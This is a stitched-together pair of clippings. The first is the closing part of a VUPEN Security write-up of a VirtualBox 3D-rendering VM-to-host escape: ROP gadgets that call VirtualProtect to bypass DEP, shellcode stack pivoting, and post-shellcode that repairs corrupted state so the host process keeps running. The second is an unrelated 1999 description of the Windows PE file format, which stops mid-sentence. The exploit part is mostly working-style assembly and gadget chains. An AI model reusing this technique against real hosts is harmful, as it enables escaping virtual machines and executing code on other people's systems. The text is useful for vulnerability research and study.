add dword ptr \[rax\],eax  
add cl,cl  
ret  
---  
With those gadgets, _RSP_ value can be written anywhere on the stack
\(depending on _RDX_ value\). Now that the stack is controlled, the following
gadget will be used to call "_VirtualProtect\(\)_ " and bypass DEP:

**; Gadget 6**  
mov r9,r12  
mov r8d,dword ptr \[rsp+8Ch\]  
mov rdx,qword ptr \[rsp+68h\]  
mov rcx,qword ptr \[rsp+50h\]  
call rbp  
---  
Thanks to the second gadget \(stack lifting\) we control _R12_ and _RBP_.  
  
\(Note: Unlike x86, on x64 systems the 4 first function parameters are not
pushed on the stack. Fast call Registers _RCX, RDX, R8, R9_ are used as
parameters instead\).  
  
Now the stack contains controlled data and we are able to write _RSP_ value
into it. Therefore all function parameters can be setup. Finally
"_VirtualProtect\(\)_ " is called by setting _RBP_ to _0x6a70bb20_ :
.text:000000006A70BB20 jmp cs:VirtualProtect  
---  
Unlike x86, _RBP_ register is used to access parameters and local variables on
the stack. It is not a frame pointer anymore. **; .text: 0x6a709292**  
call rbp \(0x6a70bb20\)  
  
**; .text: 0x6A70BB20**  
jmp cs:VirtualProtect  
  
**; KERNEL32\!VirtualProtectStub**  
jmp qword ptr \[KERNEL32\!\_imp\_VirtualProtect \(000007fa' 2ccce2e8\)\]  
  
**; KERNELBASE\!VirtualProtect**  
mov rax,rsp  
---  
"_VirtualProtect\(\)_ " is then executed and stack permissions are set to
_RWE_. The last gadgets will redirect the execution flow: **; Gadget 7**  
lea rax, \[rsp+8\]  
ret  
  
**; Gadget 8**  
push rax  
adc cl,ch  
ret  
---  
Now our data sent from the guest OS is executed in the host OS's context
despite exploit mitigations in place.

__Shellcode and Process Continuation__  
  
The aim now is to execute our x64 shellcode without crashing the VirtualBox
process \(aka process continuation\).  
  
The first instruction executed is quite sensitive because _RSP_ \(stack
pointer\) is nearly equivalent to _RIP_ \(instruction pointer\). So _RSP_ has
to be moved somewhere else at the end of our rendering message:

<img src='img/Temp2_8839' />

The 3D rendering message is allocated on the guest OS and its components are
known \(opcodes, ROP, pre-shellcode, shellcode, post-shellcode, shellcode
stack size\). Hence we are able to craft this message according to the
shellcode and the stack size needed.  
  
Pre-shellcode to be used:

4ab9a30e 90 nop  
4ab9a30f 90 nop  
4ab9a310 4881c4XXXXXXXX add rsp,X  
---  
Now that stack pointer is at a safe location, our shellcode can be executed.
Then our post-shellcode is reached to repair:  
  
\- Stack pointer \(RSP\)  
\- Corrupted function pointer in the _.data_ section
\(_cr\_server.head\_spu_\)  
  
To retrieve the original stack pointer, _Thread Environment Block \(TEB\)_ is
used. This structure can be accessed thanks to the _GS_ register. _TEB_ starts
with a structure which contains everything we need:

typedef struct \_NT\_TIB  
\{  
PEXCEPTION\_REGISTRATION\_RECORD ExceptionList;  
PVOID StackBase;  
PVOID StackLimit;  
...  
\} NT\_TIB, \*PNT\_TIB;  
---  
Once the stack base is found, a pattern matching can be used to get the
original stack: mov eax,dword ptr gs:\[10h\] // **retrieve stack base**  
xor rbx,rbx  
Label1: // **pattern matching**  
inc rbx  
cmp dword ptr \[rax+rbx\*4\],331h // **opcode argument**  
jne  
inc rbx  
cmp dword ptr \[rax+rbx\*4\],2A9h // **index used for corruption**  
jne  
inc rbx  
cmp dword ptr \[rax+rbx\*4\],42424242h // **Heh ;\)**  
jne  
rax,\[rax+rbx\*4\] // **retrieved RSP**  
add rax,270h // **skip embarrassing functions**  
mov rsp,rax  
---  
The stack pointer which was found is added to _0x170 + 0x100_ \(_0x170_ is
added to reach the call stack state we had before code flow redirection. And
then _0x100_ bytes are skipped to avoid the message parsing function in
blue\):

\# Memory Call Site  
01 8 VBoxSharedCrOpenGL\!crUnpack+0xc8  
02 70 crServerVBoxCompositionSetEnableStateGlobal+0xdbca  
03 30 crServerVBoxCompositionSetEnableStateGlobal+0xdd59  
04 30 crServerServiceClients+0x18  
05 30 crVBoxServerRemoveClient+0x18b  
06 30 VBoxSharedCrOpenGL+0x19cb  
07 60 VBoxC\!VBoxDriversRegister+0x46002  
08 70 VBoxC\!VBoxDriversRegister+0x442dc  
09 30 VBoxRT\!RTThreadFromNative+0x20f  
...  
---  
With a _RET_ instruction, code can recover his initial flow. But before that,
"_cr\_server.head\_spu_ " has to be repaired.  
  
"_cr\_server.head\_spu_ " is corrupted by the exploit. The default value of
this variable is a heap address containing a virtual function table. Trying to
retrieve the original heap address is not easy as:  
  
\- Each Windows version has a different and complex heap format  
\- No pattern matching; Heap content is a function table  
  
A simple solution is to reuse existing code. Note that
"_crVBoxServerRemoveClient\(\)_ " of "_VBoxSharedCrOpenGL.dll_ " is located on
top of the stack. Its address is located at the beginning of the _.text_
section. Each library mapped in memory is aligned, so if we keep only the high
part of the function address we can obtain "_VBoxSharedCrOpenGL_ " base.

mov rsp,rax  
// **take VBoxSharedCrOpenGL\!crVBoxServerRemoveClient+0x18b**  
mov rax,qword ptr \[rax\]  
and rax,0FFFFFFFFFFFF0000h // **get VBoxSharedCrOpenGL.dll base**  
---  
Knowing "_VBoxSharedCrOpenGL_ " base our post-shellcode routine can call other
functions such as "_crVBoxServerInit\(\)_ ". This function calls
"_crServerSetVBoxConfigurationHGCM\(\)_ " which repairs
"_cr\_server.head\_spu_ ".

GLboolean crVBoxServerInit\(void\)  
\{  
...  
  
crServerSetVBoxConfigurationHGCM\(\);  
  
if \(\!cr\_server.head\_spu\)  
return GL\_FALSE;  
  
crServerInitDispatch\(\);  
crServerInitTmpCtxDispatch\(\);  
crStateDiffAPI\( &\(cr\_server.head\_spu->dispatch\_table\) \);  
  
return GL\_TRUE;  
\}  
  
void crServerSetVBoxConfigurationHGCM\(\)  
\{  
int spu\_ids\[1\] = \{0\};  
char \*spu\_names\[1\] = \{"render"\};  
char \*spu\_dir = NULL;  
  
cr\_server.head\_spu = crSPULoadChain\(1, spu\_ids, spu\_names, spu\_dir,
&cr\_server\);  
  
...  
\}  
---  
And then comes the last part of our post-shellcode:

mov rsp,rax  
// **take VBoxSharedCrOpenGL\!crVBoxServerRemoveClient+0x18b**  
mov rax,qword ptr \[rax\]  
and rax,0FFFFFFFFFFFF0000h // **get VBoxSharedCrOpenGL.dll base**  
push rax  
add rax,4630h // **get VBoxSharedCrOpenGL\!crVBoxServerInit**  
call rax // **auto-repair**  
pop rax  
ret // **return to the orignial call stack**  
---  
Which leads to a _reliable_ VM-to-host escape and arbitrary code execution on
the 64bit host OS without crashing VirtualBox.

_© Copyright VUPEN Security_

# The PE file format

**Created:**| _4/4/2010 8:21:23 PM_  
---|---  
**Updated:**| _4/4/2010 8:21:39 PM_  
**Author:**| __  
**Tags:**| _windows windows environment_  
  
$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $

  

  

  

The PE file format

==================

  

  

  

Preface

\-------

  

The PE \("portable executable"\) file format is the format of executable

binaries \(DLLs and programs\) for MS windows NT, windows 95 and

win32s; in windows NT, the drivers are in this format, too.

It can also be used for object files and libraries.

  

The format is designed by Microsoft and standardized by the TIS \(tool

interface standard\) Committee \(Microsoft, Intel, Borland, Watcom, IBM

and others\) in 1993, apparently based on a good knowledge of COFF, the

"common object file format" used for object files and executables on

several UNIXes and on VMS.

  

The win32 SDK includes a header file <winnt.h> containing \#defines and

typedefs for the PE-format. I will mention the struct-member-names and

\#defines as we go.

  

You may also find the DLL "imagehelp.dll" to be helpful. It is part of

windows NT, but documentation is scarce. Some of its functions are

described in the "Developer Network".

  

  

  

General Layout

\--------------

  

At the start of a PE file we find an MS-DOS executable \("stub"\); this

makes any PE file a valid MS-DOS executable.

  

After the DOS-stub there is a 32-bit-signature with the magic number

0x00004550 \(IMAGE\_NT\_SIGNATURE\).

  

Then there is a file header \(in the COFF-format\) that tells on which

machine the binary is supposed to run, how many sections are in it, the

time it was linked, whether it is an executable or a DLL and so on. \(The

difference between executable and DLL in this context is: a DLL can not

be started but only be used by another binary, and a binary cannot link

to an executable\).

  

After that, we have an optional header \(it is always there but still

called "optional" - COFF uses an "optional header" for libraries but not

for objects, that's why it is called "optional"\). This tells us more

about how the binary should be loaded: The starting address, the amount

of stack to reserve, the size of the data segment etc..

  

An interesting part of the optional header is the trailing array of

'data directories'; these directories contain pointers to data in the

'sections'. If, for example, the binary has an export directory, you

will find a pointer to that directory in the array member

IMAGE\_DIRECTORY\_ENTRY\_EXPORT, and it will point into one of the

sections.

  

Following the headers we find the 'sections', introduced by the 'section

headers'. Essentially, the sections' contents is what you really need to

execute a program, and all the header and directory stuff is just there

to help you find it.

Each section has some flags about alignment, what kind of data it

contains \("initialized data" and so on\), whether it can be shared etc.,

and the data itself. Most, but not all, sections contain one or more

directories referenced through the entries of the optional header's

"data directory" array, like the directory of exported functions or the

directory of base relocations. Directoryless types of contents are, for

example, "executable code" or "initialized data".

  

+-------------------+

| DOS-stub |

+-------------------+

| file-header |

+-------------------+

| optional header |

|- - - - - - - - - -|

| |

| data directories |

| |

+-------------------+

| |

| section headers |

| |

+-------------------+

| |

| section 1 |

| |

+-------------------+

| |

| section 2 |

| |

+-------------------+

| |

| ... |

| |

+-------------------+

| |

| section n |

| |

+-------------------+

  

  

  

DOS-stub and Signature

\----------------------

  

The concept of a DOS-stub is well-known from the 16-bit-windows-

executables \(which were in the "NE" format\). The stub is used for

OS/2-executables, self-extracting archives and other applications, too.

For PE-files, it is a MS-DOS 2.0 compatible executable that almost

always consists of about 100 bytes that output an error message such as

"this program needs windows NT".

You recognize a DOS-stub by validating the DOS-header, being a

struct IMAGE\_DOS\_HEADER. The first 2 bytes should be the sequence "MZ"

\(there is a \#define IMAGE\_DOS\_SIGNATURE for this WORD\).

You distinguish a PE binary from other stubbed binaries by the trailing

signature, which you find at the offset given by the header member

'e\_lfanew' \(which is 32 bits long beginning at byte offset 60\). For OS/2

and windows binaries, the signature is a 16-bit-word; for PE files, it

is a 32-bit-longword aligned at a 8-byte-boundary and having the value

IMAGE\_NT\_SIGNATURE \#defined to be 0x00004550.

  

  

  

File Header

\-----------

  

To get to the IMAGE\_FILE\_HEADER, validate the "MZ" of the DOS-header

\(1st 2 bytes\), then find the 'e\_lfanew' member of the DOS-stub's header

and skip that many bytes from the beginning of the file. Verify the

signature you will find there. The file header, a struct

IMAGE\_FILE\_HEADER, begins immediatly after it; the members are described

top to bottom.

  

The first member is the 'Machine', a 16-bit-value indicating the system

the binary is intended to run on. Known legal values are

  

IMAGE\_FILE\_MACHINE\_I386 \(0x14c\)

for Intel 80386 processor or better

  

0x014d

for Intel 80486 processor or better

  

0x014e

for Intel Pentium processor or better

  

0x0160

for R3000 \(MIPS\) processor, big endian

  

IMAGE\_FILE\_MACHINE\_R3000 \(0x162\)

for R3000 \(MIPS\) processor, little endian

  

IMAGE\_FILE\_MACHINE\_R4000 \(0x166\)

for R4000 \(MIPS\) processor, little endian

  

IMAGE\_FILE\_MACHINE\_R10000 \(0x168\)

for R10000 \(MIPS\) processor, little endian

  

IMAGE\_FILE\_MACHINE\_ALPHA \(0x184\)

for DEC Alpha AXP processor

  

IMAGE\_FILE\_MACHINE\_POWERPC \(0x1F0\)

for IBM Power PC, little endian

  

Then we have the 'NumberOfSections', a 16-bit-value. It is the number of

sections that follow the headers. We will discuss the sections later.

  

Next is a timestamp 'TimeDateStamp' \(32 bit\), giving the time the file

was created. You can distinguish several versions of the same file by

this value, even if the "official" version number was not altered. \(The

format of the timestamp is not documented except that it should be

somewhat unique among versions of the same file, but apparently it is

'seconds since January 1 1970 00:00:00' in UTC - the format used by most

C compilers for the time\_t.\)

This timestamp is used for the binding of import directories, which will

be discussed later.

Warning: some linkers tend to set this timestamp to absurd values which

are not the time of linking in time\_t format as described.

  

The members 'PointerToSymbolTable' and 'NumberOfSymbols' \(both 32 bit\)

are used for debugging information. I don't know how to decipher them,

and I've found the pointer to be always 0.

  

'SizeOfOptionalHeader' \(16 bit\) is simply sizeof\(IMAGE\_OPTIONAL\_HEADER\).

You can use it to validate the correctness of the PE file's structure.

  

'Characteristics' is 16 bits and consists of a collection of flags, most

of them being valid only for object files and libraries:

  

Bit 0 \(IMAGE\_FILE\_RELOCS\_STRIPPED\) is set if there is no relocation

information in the file. This refers to relocation information per

section in the sections themselves; it is not used for executables,

which have relocation information in the 'base relocation' directory

described below.

  

Bit 1 \(IMAGE\_FILE\_EXECUTABLE\_IMAGE\) is set if the file is

executable, i.e. it is not an object file or a library. This flag

may also be set if the linker attempted to create an executable but

failed for some reason, and keeps the image in order to do e.g.

incremental linking the next time.

  

Bit 2 \(IMAGE\_FILE\_LINE\_NUMS\_STRIPPED\) is set if the line number

information is stripped; this is not used for executable files.

  

Bit 3 \(IMAGE\_FILE\_LOCAL\_SYMS\_STRIPPED\) is set if there is no

information about local symbols in the file \(this is not used

for executable files\).

  

Bit 4 \(IMAGE\_FILE\_AGGRESIVE\_WS\_TRIM\) is set if the operating system

is supposed to trim the working set of the running process \(the

amount of RAM the process uses\) aggressivly by paging it out. This

should be set if it is a demon-like application that waits most of

the time and only wakes up once a day, or the like.

  

Bits 7 \(IMAGE\_FILE\_BYTES\_REVERSED\_LO\) and 15

\(IMAGE\_FILE\_BYTES\_REVERSED\_HI\) are set if the endianess of the file is

not what the machine would expect, so it must swap bytes before

reading. This is unreliable for executable files \(the OS expects

executables to be correctly byte-ordered\).

  

Bit 8 \(IMAGE\_FILE\_32BIT\_MACHINE\) is set if the machine is expected

to be a 32 bit machine. This is always set for current

implementations; NT5 may work differently.

  

Bit 9 \(IMAGE\_FILE\_DEBUG\_STRIPPED\) is set if there is no debugging

information in the file. This is unused for executable files.

According to other information \(\[6\]\), this bit is called "fixed" and

is set if the image can only run if it is loaded at the preferred

load address \(i.e. it is not relocatable\).

  

Bit 10 \(IMAGE\_FILE\_REMOVABLE\_RUN\_FROM\_SWAP\) is set if the application

may not run from a removable medium such as a floppy or a CD-ROM. In

this case, the operating system is advised to copy the file to the

swapfile and execute it from there.

  

Bit 11 \(IMAGE\_FILE\_NET\_RUN\_FROM\_SWAP\) is set if the application may

not run from the network. In this case, the operating system is

advised to copy the file to the swapfile and execute it from there.

  

Bit 12 \(IMAGE\_FILE\_SYSTEM\) is set if the file is a system file such

as a driver. This is unused for executable files; it is also not

used in all the NT drivers I inspected.

  

Bit 13 \(IMAGE\_FILE\_DLL\) is set if the file is a DLL.

  

Bit 14 \(IMAGE\_FILE\_UP\_SYSTEM\_ONLY\) is set if the file is not

designed to run on multiprocessor systems \(that is, it will crash

there because it relies in some way on exactly one processor\).

  

  

  

Relative Virtual Addresses

\--------------------------

  

The PE format makes heavy use of so-called RVAs. An RVA, aka "relative

virtual address", is used to describe a memory address if you don't know

the base address. It is the value you need to add to the base address to

get the linear address.

The base address is the address the PE image is loaded to, and may vary

from one invocation to the next.

  

Example: suppose an executable file is loaded to address 0x400000 and

execution starts at RVA 0x1560. The effective execution start will then

be at the address 0x401560. If the executable were loaded to 0x100000,

the execution start would be 0x101560.

  

Things become complicated because the parts of the PE-file \(the

sections\) are not necessarily aligned the same way the loaded image is.

For example, the sections of the file are often aligned to

512-byte-borders, but the loaded image is perhaps aligned to

4096-byte-borders. See 'SectionAlignment' and 'FileAlignment' below.

  

So to find a piece of information in a PE-file for a specific RVA,

you must calculate the offsets as if the file were loaded, but skip

according to the file-offsets.

As an example, suppose you knew the execution starts at RVA 0x1560, and

want to diassemble the code starting there. To find the address in the

file, you will have to find out that sections in RAM are aligned to 4096

bytes and the ".code"-section starts at RVA 0x1000 in RAM and is 16384

bytes long; then you know that RVA 0x1560 is at offset 0x560 in that

section. Find out that the sections are aligned to 512-byte-borders in

the file and that ".code" begins at offset 0x800 in the file, and you

know that the code execution start is at byte 0x800+0x560=0xd60 in the

file.

  

Then you disassemble and find an access to a variable at the linear

address 0x1051d0. The linear address will be relocated upon loading the

binary and is given on the assumption that the preferred load address is

used. You find out that the preferred load address is 0x100000, so we

are dealing with RVA 0x51d0. This is in the data section which starts at

RVA 0x5000 and is 2048 bytes long. It begins at file offset 0x4800.

Hence. the veriable can be found at file offset

0x4800+0x51d0-0x5000=0x49d0.

  

  

Optional Header

\---------------

  

Immediatly following the file header is the IMAGE\_OPTIONAL\_HEADER

\(which, in spite of the name, is always there\). It contains

information about how to treat the PE-file exactly. We'll also have the

members from top to bottom.

  

The first 16-bit-word is 'Magic' and has, as far as I looked into

PE-files, always the value 0x010b.

  

The next 2 bytes are the version of the linker \('MajorLinkerVersion' and

'MinorLinkerVersion'\) that produced the file. These values, again, are

unreliable and do not always reflect the linker version properly.

\(Several linkers simply don't set this field.\)

And, coming to think about it, what good is the version if you have got

no idea \*which\* linker was used?

  

The next 3 longwords \(32 bit each\) are intended to be the size of the

executable code \('SizeOfCode'\), the size of the initialized data

\('SizeOfInitializedData', the so-called "data segment"\), and the size of

the uninitialized data \('SizeOfUninitializedData', the so-called "bss

segment"\). These values are, again, unreliable \(e.g. the data segment

may actually be split into several segments by the compiler or linker\),

and you get better sizes by inspecting the 'sections' that follow the

optional header.

  

Next is a 32-bit-value that is a RVA. This RVA is the offset to the

codes's entry point \('AddressOfEntryPoint'\).

Execution starts here; it is e.g. the address of a DLL's LibMain\(\) or a

program's startup code \(which will in turn call main\(\)\) or a driver's

DriverEntry\(\). If you dare to load the image "by hand", you call this

address to start the process after you have done all the fixups and the

relocations.

  

The next 2 32-bit-values are the offsets to the executable code

\('BaseOfCode'\) and the initialized data \('BaseOfData'\), both of them

RVAs again, and both of them being of little interest because you get

more reliable information by inspecting the 'sections' that follow the

headers.

There is no offset to the uninitialized data because, being

uninitialized, there is little point in providing this data in the

image.

  

The next entry is a 32-bit-value giving the preferred \(linear\) load

address \('ImageBase'\) of the entire binary, including all headers. This

is the address \(always a multiple of 64 KB\) the file has been relocated

to by the linker; if the binary can in fact be loaded to that address,

the loader doesn't need to relocate the file again, which is a win in

loading time.

The preferred load address can not be used if another image has already

been loaded to that address \(an "address clash", which happens quite

often if you load several DLLs that are all relocated to the linker's

default\), or the memory in question has been used for other purposes

\(stack, malloc\(\), uninitialized data, whatever\). In these cases, the

image must be loaded to some other address and it needs to be relocated

\(see 'relocation directory' below\). This has further consequences if the

image is a DLL, because then the "bound imports" are no longer valid,

and fixups have to be made to the binary that uses the DLL - see 'import

directory' below.

  

The next 2 32-bit-values are the alignments of the PE-file's sections in

RAM \('SectionAlignment', when the image has been loaded\) and in the file

\('FileAlignment'\). Usually both values are 32, or FileAlignment is 512

and SectionAlignment is 4096. Sections will be discussed later.

  

The next 2 16-bit-words are the expected operating system version

\('MajorOperatingSystemVersion' and 'MinorOperatingSystemVersion' \[they

\_do\_ like self-documenting names at MS\]\). This version information is

intended to be the operating system's \(e.g. NT or Win95\) version, as

opposed to the subsystem's version \(e.g. Win32\); it is often not

supplied, or wrong supplied. The loader doesn't use it, apparently.

  

The next 2 16-bit-words are the binary's version, \('MajorImageVersion' and

'MinorImageVersion'\). Many linkers don't set this information correctly

and many programmers don't bother to supply it, so it is better to rely

on the version-resource if one exists.

  

The next 2 16-bit-words are the expected subsystem version

\('MajorSubsystemVersion' and 'MinorSubsystemVersion'\). This should be

the Win32 version or the POSIX version, because 16-bit-programs or

OS/2-programs won't be in PE-format, obviously.

This subsystem version should be supplied correctly, because it \*is\*

checked and used:

If the application is a Win32-GUI-application and runs on NT4, and the

subsystem version is \*not\* 4.0, the dialogs won't be 3D-style and

certain other features will also work "old-style" because the

application expects to run on NT 3.51, which had the program manager

instead of explorer and so on, and NT 4.0 will mimic that behaviour as

faithfully as possible.

  

Then we have a 'Win32VersionValue' of 32 bits. I don't know what it is

good for. It has been 0 in all the PE files that I inspected.

  

Next is a 32-bits-value giving the amount of memory the image will need,

in bytes \('SizeOfImage'\). It is the sum of all headers' and sections'

lengths if aligned to 'SectionAlignment'. It is a hint to the loader how

many pages it will need in order to load the image.

  

The next thing is a 32-bit-value giving the total length of all headers

including the data directories and the section headers

\('SizeOfHeaders'\). It is at the same time the offset from the beginning

of the file to the first section's raw data.

  

Then we have got a 32-bit-checksum \('CheckSum'\). This checksum is, for

current versions of NT, only checked if the image is a NT-driver \(the

driver will fail to load if the checksum isn't correct\). For other

binary types, the checksum need not be supplied and may be 0.

The algorithm to compute the checksum is property of Microsoft, and they

won't tell you. However, several tools of the Win32 SDK will compute

and/or patch a valid checksum, and the function CheckSumMappedFile\(\) in

the imagehelp.dll will do so too.

The checksum is supposed to prevent loading of damaged binaries that

would crash anyway - and a crashing driver would result in a BSOD, so

it is better not to load it at all.

  

Then there is a 16-bit-word 'Subsystem' that tells in which of the

NT-subsystems the image runs:

  

IMAGE\_SUBSYSTEM\_NATIVE \(1\)

The binary doesn't need a subsystem. This is used for drivers.

IMAGE\_SUBSYSTEM\_WINDOWS\_GUI \(2\)

The image is a Win32 graphical binary. \(It can still open a

console with AllocConsole\(\) but won't get one automatically at

startup.\)

IMAGE\_SUBSYSTEM\_WINDOWS\_CUI \(3\)

The binary is a Win32 console binary. \(It will get a console

per default at startup, or inherit the parent's console.\)

IMAGE\_SUBSYSTEM\_OS2\_CUI \(5\)

The binary is a OS/2 console binary. \(OS/2 binaries will be in

OS/2 format, so this value will seldom be used in a PE file.\)

IMAGE\_SUBSYSTEM\_POSIX\_CUI \(7\)

The binary uses the POSIX console subsystem.

  

Windows 95 binaries will always use the Win32 subsystem, so the only

legal values for these binaries are 2 and 3; I don't know if "native"

binaries on windows 95 are possible.

  

The next thing is a 16-bit-value that tells, if the image is a DLL, when

to call the DLL's entry point \('DllCharacteristics'\). This seems not to

be used; apparently, the DLL is always notified about everything.

If bit 0 is set, the DLL is notified about process attachment \(i.e.

DLL load\).

If bit 1 is set, the DLL is notified about thread detachments \(i.e.

thread terminations\).

If bit 2 is set, the DLL is notified about thread attachments \(i.e.

thread creations\).

If bit 3 is set, the DLL is notified about process detachment \(i.e.

DLL unload\).

  

The next 4 32-bit-values are the size of reserved stack

\('SizeOfStackReserve'\), the size of initially committed stack

\('SizeOfStackCommit'\), the size of the reserved heap

\('SizeOfHeapReserve'\) and the size of the committed heap

\('SizeOfHeapCommit'\).

The 'reserved' amounts are address space \(not real RAM\) that is reserved

for the specific purpose; at program startup, the 'committed' amount is

actually allocated in RAM. The 'committed' value is also the amount by

which the committed stack or heap grows if necessary. \(Other sources

claim that the stack will grow in pages, regardless of the

'SizeOfStackCommit' value. I didn't check this.\)

So, as an example, if a program has a reserved heap of 1 MB and a

committed heap of 64 KB, the heap will start out at 64 KB and is

guaranteed to be enlargeable up to 1 MB. The heap will grow in

64-KB-chunks.

The 'heap' in this context is the primary \(default\) heap. A process can

create more heaps if so it wishes.

The stack is the first thread's stack \(the one that starts main\(\)\). The

process can create more threads which will have their own stacks.

DLLs don't have a stack or heap of their own, so the values are ignored

for their images. I don't know if drivers have a heap or a stack of

their own, but I don't think so.

  

After these stack- and heap-descriptions, we find 32 bits of

'LoaderFlags', which I didn't find a useful description of. I only found

a vague note about setting bits that automatically invoke a breakpoint

or a debugger after loading the image; however, this doesn't seem to

work.

  

Then we find 32 bits of 'NumberOfRvaAndSizes', which is the number of

valid entries in the directories that follow immediatly. I've found this

value to be unreliable; you might wish use the constant

IMAGE\_NUMBEROF\_DIRECTORY\_ENTRIES instead, or the lesser of both.

  

After the 'NumberOfRvaAndSizes' there is an array of

IMAGE\_NUMBEROF\_DIRECTORY\_ENTRIES \(16\) IMAGE\_DATA\_DIRECTORYs.

Each of these directories describes the location \(32 bits RVA called

'VirtualAddress'\) and size \(also 32 bit, called 'Size'\) of a particular

piece of information, which is located in one of the sections that

follow the directory entries.

For example, the security directory is found at the RVA and has the size

that are given at index 4.

The directories that I know the structure of will be discussed later.

Defined directory indexes are:

  

IMAGE\_DIRECTORY\_ENTRY\_EXPORT \(0\)

The directory of exported symbols; mostly used for DLLs.

Described below.

IMAGE\_DIRECTORY\_ENTRY\_IMPORT \(1\)

The directory of imported symbols; see below.

IMAGE\_DIRECTORY\_ENTRY\_RESOURCE \(2\)

Directory of resources. Described below.

IMAGE\_DIRECTORY\_ENTRY\_EXCEPTION \(3\)

Exception directory - structure and purpose unknown.

IMAGE\_DIRECTORY\_ENTRY\_SECURITY \(4\)

Security directory - structure and purpose unknown.

IMAGE\_DIRECTORY\_ENTRY\_BASERELOC \(5\)

Base relocation table - see below.

IMAGE\_DIRECTORY\_ENTRY\_DEBUG \(6\)

Debug directory - contents is compiler dependent. Moreover, many

compilers stuff the debug information into the code section and

don't create a separate section for it.

IMAGE\_DIRECTORY\_ENTRY\_COPYRIGHT \(7\)

Description string - some arbitrary copyright note or the like.

IMAGE\_DIRECTORY\_ENTRY\_GLOBALPTR \(8\)

Machine Value \(MIPS GP\) - structure and purpose unknown.

IMAGE\_DIRECTORY\_ENTRY\_TLS \(9\)

Thread local storage directory - structure unknown; contains

variables that are declared "\_\_declspec\(thread\)", i.e.

per-thread global variables.

IMAGE\_DIRECTORY\_ENTRY\_LOAD\_CONFIG \(10\)

Load configuration directory - structure and purpose unknown.

IMAGE\_DIRECTORY\_ENTRY\_BOUND\_IMPORT \(11\)

Bound import directory - see description of import directory.

IMAGE\_DIRECTORY\_ENTRY\_IAT \(12\)

Import Address Table - see description of import directory.

As an example, if we find at index 7 the 2 longwords 0x12000 and 33, and

the load address is 0x10000, we know that the copyright data is at

address 0x10000+0x12000 \(in whatever section there may be\), and the

copyright note is 33 bytes long.

If a directory of a particular type is not used in a binary, the Size

and VirtualAddress are both 0.

  

  

  

Section directories

\-------------------

  

The sections consist of two major parts: first, a section description

\(of type IMAGE\_SECTION\_HEADER\) and then the raw section data. So after

the data directories we find an array of 'NumberOfSections' section

headers, ordered by the sections' RVAs.

  

A section header contains:

  

An array of IMAGE\_SIZEOF\_SHORT\_NAME \(8\) bytes that make up the name

\(ASCII\) of the section. If all of the 8 bytes are used there is no 0-

terminator for the string\! The name is typically something like ".data"

or ".text" or ".bss". There need not be a leading '.', the names may

also be "CODE" or "IAT" or the like.

Please note that the names are not at all related to the contents of the

section. A section named ".code" may or may not contain the executable

code; it may just as well contain the import address table; it may also

contain the code \*and\* the address table \*and\* the initialized data.

To find information in the sections, you will have to look it up via the

data directories of the optional header. Do not rely on the names, and

do not assume that the section's raw data starts at the beginning of a

section.

  

The next member of the IMAGE\_SECTION\_HEADER is a 32-bit-union of

'PhysicalAddress' and 'VirtualSize'. In an object file, this is the

address the contents is relocated to; in an executable, it is the size of

the contents. In fact, the field seems to be unused; There are linkers

that enter the size, and there are linkers that enter the address, and

I've also found a linker that enters a 0, and all the executables run

like the gentle wind.

  

The next member is 'VirtualAddress', a 32-bit-value holding the RVA to

the section's data when it is loaded in RAM.

  

Then we have got 32 bits of 'SizeOfRawData', which is the size of the

secion's data rounded up to the next multiple of 'FileAlignment'.

  

Next is 'PointerToRawData' \(32 bits\), which is incredibly useful because

it is the offset from the file's beginning to the section's data. If it

is 0, the section's data are not contained in the file and will be

arbitrary at load time.

  

Then we have got 'PointerToRelocations' \(32 bits\) and

'PointerToLinenumbers' \(also 32 bits\), 'NumberOfRelocations' \(16 bits\)

and 'NumberOfLinenumbers' \(also 16 bits\). All of these are information

that's only used for object files. Executables have a special base

relocation directory, and the line number information, if present at

all, is usually contained in a special purpose debugging segment or

elsewhere.

  

The last member of a section header is the 32 bits 'Characteristics',

which is a bunch of flags describing how the section's memory should be

treated:

  

If bit 5 \(IMAGE\_SCN\_CNT\_CODE\) is set, the section contains

executable code.

If bit 6 \(IMAGE\_SCN\_CNT\_INITIALIZED\_DATA\) is set, the section

contains data that gets a defined value before execution starts. In

other words: the section's data in the file is meaningful.

If bit 7 \(IMAGE\_SCN\_CNT\_UNINITIALIZED\_DATA\) is set, this section

contains uninitialized data and will be initialized to all-0-bytes

before execution starts. This is normally the BSS.

  

If bit 9 \(IMAGE\_SCN\_LNK\_INFO\) is set, the section doesn't contain

image data but comments, description or other documentation. This

information is part of an object file and may be information for the

linker, such as which libraries are needed.

  

If bit 11 \(IMAGE\_SCN\_LNK\_REMOVE\) is set, the data is part of an

object file's section that is supposed to be left out when the

executable file is linked. Often combined with bit 9.

  

If bit 12 \(IMAGE\_SCN\_LNK\_COMDAT\) is set, the section contains

"common block data", which are packaged functions of some sort.

  

If bit 15 \(IMAGE\_SCN\_MEM\_FARDATA\) is set, we have far data -

whatever that means. This bit's meaning is unsure.

  

If bit 17 \(IMAGE\_SCN\_MEM\_PURGEABLE\) is set, the section's data

is purgeable - but I don't think that this is the same as

"discardable", which has a bit of its own, see below.

The same bit is apparently used to indicate 16-bit-information as

there is also a define IMAGE\_SCN\_MEM\_16BIT for it.

This bit's meaning is unsure.

  

If bit 18 \(IMAGE\_SCN\_MEM\_LOCKED\) is set, the section should not be

moved in memory? Perhaps it indicates there is no relocation

information? This bit's meaning is unsure.

  

If bit 19 \(IMAGE\_SCN\_MEM\_PRELOAD\) is set, the section should be

paged in before execution starts? This bit's meaning is unsure.

  

Bits 20 to 23 specify an alignment that I have no information

about. There are \#defines IMAGE\_SCN\_ALIGN\_16BYTES and the like. The

only value I've ever seen used is 0, for the default 16-byte-

alignment. I suspect that this is the alignment of objects in a

library file or the like.

  

If bit 24 \(IMAGE\_SCN\_LNK\_NRELOC\_OVFL\) is set, the section contains

some extended relocations that I don't know about.

  

If bit 25 \(IMAGE\_SCN\_MEM\_DISCARDABLE\) is set, the section's data is

not needed after the process has started. This is the case,

for example, with the relocation information. I've seen it also for

startup routines of drivers and services that are only executed

once, and for import directories.

  

If bit 26 \(IMAGE\_SCN\_MEM\_NOT\_CACHED\) is set, the section's data

should not be cached. Don't ask my why not. Does this mean to switch

off the 2nd-level-cache?

  

If bit 27 \(IMAGE\_SCN\_MEM\_NOT\_PAGED\) is set, the section's data

should not be paged out. This is interesting for drivers.

  

If bit 28 \(IMAGE\_SCN\_MEM\_SHARED\) is set, the section's data is

shared among all running instances of the image. If it is e.g. the

